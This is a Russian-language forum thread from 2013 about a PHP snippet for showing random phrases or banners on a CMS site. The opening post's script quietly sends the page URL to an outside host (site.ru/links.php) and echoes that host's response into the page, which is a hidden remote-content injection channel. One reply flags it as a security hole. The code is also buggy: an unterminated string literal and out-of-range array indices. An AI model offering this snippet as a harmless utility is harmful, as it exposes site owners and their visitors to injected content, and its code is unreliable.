рнр файл

разные фразы

#1 27 мая 2013 в 20:47
Рнр файл выводит случайные фразы, можно анекдоты, а можно и партнёрские ссылки, и что нибудь другое



  1.  
  2. <?php
  3.  
  4. $dt[0] = 'В жизни всегда есть место пофигу.';
  5. $dt[1] = 'Я человек не злопамятный - сделаю зло и забуду';
  6. $dt[2] = 'Чем выше каблуки, тем меньше нагибаться.';
  7. $dt[3] = 'Деньги - зло. Зайдешь на рынок, и зла не хватает. ';
  8. $dt[4] = 'Опыт - это то, что получаешь, не получив того, что хотел. ';
  9. $dt[5] = 'Случайность - внезапно наступившая неизбежность.';
  10. $dt[6] = 'Лучше вбитый шуруп, чем вкрученный гвоздь.';
  11. $dt[7] = 'Воздух это шаpик, с котоpого содpали кожу... ';
  12.  
  13.  
  14. $site_url = $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI'];
  15. $site_url = str_replace('/', '%2F', $site_url);
  16. $site_url = str_replace('\', '%2F', $site_url);
  17. $site_url = str_replace(':', '%3A', $site_url);
  18.  
  19. $back_url = 'http://www.site.ru/links.php';
  20. $get = '?addr=' . $site_url . '&u=1';
  21. $text1 = '';
  22. $itogo=198;
  23. if( !(strpos('http://site.ru' . $site_url, 'localhost') > 0) )
  24. {
  25. $text1 = @file_get_contents($back_url . $get);
  26. if( !strlen($text1) > 0 ){
  27. $text1 = '';
  28. $text1 = @file_get_contents($back_url);
  29. }
  30. echo $text1;
  31. }
  32.  
  33. srand((double) microtime()*1000000);
  34. $i=rand(0,$itogo);
  35.  
  36. print $dt[$i];
  37.  
  38. ?>
  39.  
  40.  
Читайте подпись: коплю…
#2 28 мая 2013 в 00:14
Россия и блондинки сильнее разума, есть цельный модуль "Случайная фраза", из текстового файла или базы.
#3 28 мая 2013 в 07:59
Модуль нельзя воткнуть в конец статьи или блога, или в середину блога. Этот файл через инклюдинг можно воткнуть куда угодно, а модуль нет. Этот модуль может и баннеры выводить в случайном порядке вместо фраз. Разве модуль сможет такое?
#4 28 мая 2013 в 22:43
Если вместо анекдотов воткнуть это
  1. <a href="Ссылка перехода №1"><img src="Баннер №1"></a>
Можно получить ротатор случайно выбранных баннеров
#5 29 мая 2013 в 13:03
Можно чуть подробней.
Я так понимаю, что файл нодо обозвать и залить в майпхп в инклюдисе. И от туда у же вывадить куда надо. Или не совсем так? Как правильно его вывести?
#6 29 мая 2013 в 21:41
Кстати про инклюды.
Как вывести инклюд в штмл страницу. При условии что этот штмл будет работать и на локале также прекрасно как и на виртуале?
Уже несколько месяцев голову ломаю.
#7 30 мая 2013 в 19:40

Рнр файл выводит случайные фразы, можно анекдоты, а можно и партнёрские ссылки, и что нибудь другое

Россия и блондинки сильнее разума
Вот это ЧТОНИБУДЬ ДРУГОЕ, позволит иметь пару дырок в системе.
Интересно услышать обьяснения по поводу не выполнимых условий ?
  1. if( !(strpos('http://site.ru' . $site_url, 'localhost') > 0) ) {
А также разьяснение о самом смысле передачи данных методом GET, несуществующему файлу links.php ?
  1. $get = '?addr=' . $site_url . '&u=1';
И узнать о целесообразнности замены символов на ASCII?
  1. $site_url = $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI'];
  2. $site_url = str_replace('/', '%2F', $site_url);
  3. $site_url = str_replace('\', '%2F', $site_url);
  4. $site_url = str_replace(':', '%3A', $site_url);

Для вывода случайного элемента массива достаточно и этих строк.

  1. //$dt=массив фраз
  2. $dt[0] = 'Если желаете иметь дырявую ICMS , устанавливайте все что предлагают , не думая!';
  3. $dt[1] = 'Поздравляю! Ваша система будет ломаться всегда и много!';
  4. srand((double) microtime()*1000000);
  5. $i=rand(0,1);//количество ключей массива фраз
  6. print $dt[$i];
#8 30 мая 2013 в 20:09
oll,
  1. //$dt=массив фраз
  2. $dt[] = 'Если вы желаете иметь дырявую ICMS - устанавливайте всё, что предлагают, не думая!';
  3. $dt[] = 'Поздравляю! Ваша система будет ломаться всегда и много!';
  4. echo $dt[rand(0,count($dt))];
ммм?
#9 31 мая 2013 в 21:39

oll

Несушествующий файл был раньше ссылкой, и если я убирал её, файл переставал работать
#10 31 мая 2013 в 21:47
Ёще какие нибудь варианты есть?
#11 31 мая 2013 в 22:06

Как вывести инклюд в штмл страницу. При условии что этот штмл будет работать и на локале также прекрасно как и на виртуале?

nedoriko
Заливаете нужный вам файл в сайт/includes/myphp/, после этого когда создаёте страницу( статью ) втыкаете в нужное вам место файл, можете так же в любую созданную страницу впихнуть. Только вчера поставил денвер, на денвере файл нормально выводится. Иллюстрация
#12 31 мая 2013 в 22:10
Можете просто создать модуль состояший из одних файлов. Пример: анонимайзер, модуль находится справа ( расскажи друзьям )
#13 31 мая 2013 в 22:25
  1. <?php
  2.  
  3. $banners = array ();
  4. $banners[1] = '<a href="Ссылка перехода №1"><img src="Баннер №1"></a>';
  5. $banners[2] = '<a href="Ссылка перехода №2"><img src="Баннер №2"></a>';
  6. $banners[3] = '<a href="Ссылка перехода №3"><img src="Баннер №3"></a>';
  7. echo $banners[array_rand ($banners)];
  8.  
  9. ?>
Можно и так сделать…
#14 31 мая 2013 в 22:48
Россия и блондинки сильнее разума,
Спасибо. Но я имею ввиду несколько другое.
Некое подобие сборника штмл файлов с необходимой последовательностью. Но чтоб у каждого из сотни-другой файлов установить 1 блок в котором будет отображаться инфа из другого файла. При условии что все это будет работать на любом компе не имеющего подсоединения к интернету. И никаких кмс. Ну типо сборник сказок написать и вывести картинку или текст в нужном месте. Только чтобы при необходимости сменить тот текст. Не пришлось переписывать всю книгу. А поменять всего 1файл.
Чтоб все это можно было храня на флешке запускать в браузере.
Ну както так.
#15 1 июня 2013 в 01:17
Думать надо, интересная идея
Вы не можете отвечать в этой теме.
Войдите или зарегистрируйтесь, чтобы писать на форуме.
Используя этот сайт, вы соглашаетесь с тем, что мы используем файлы cookie.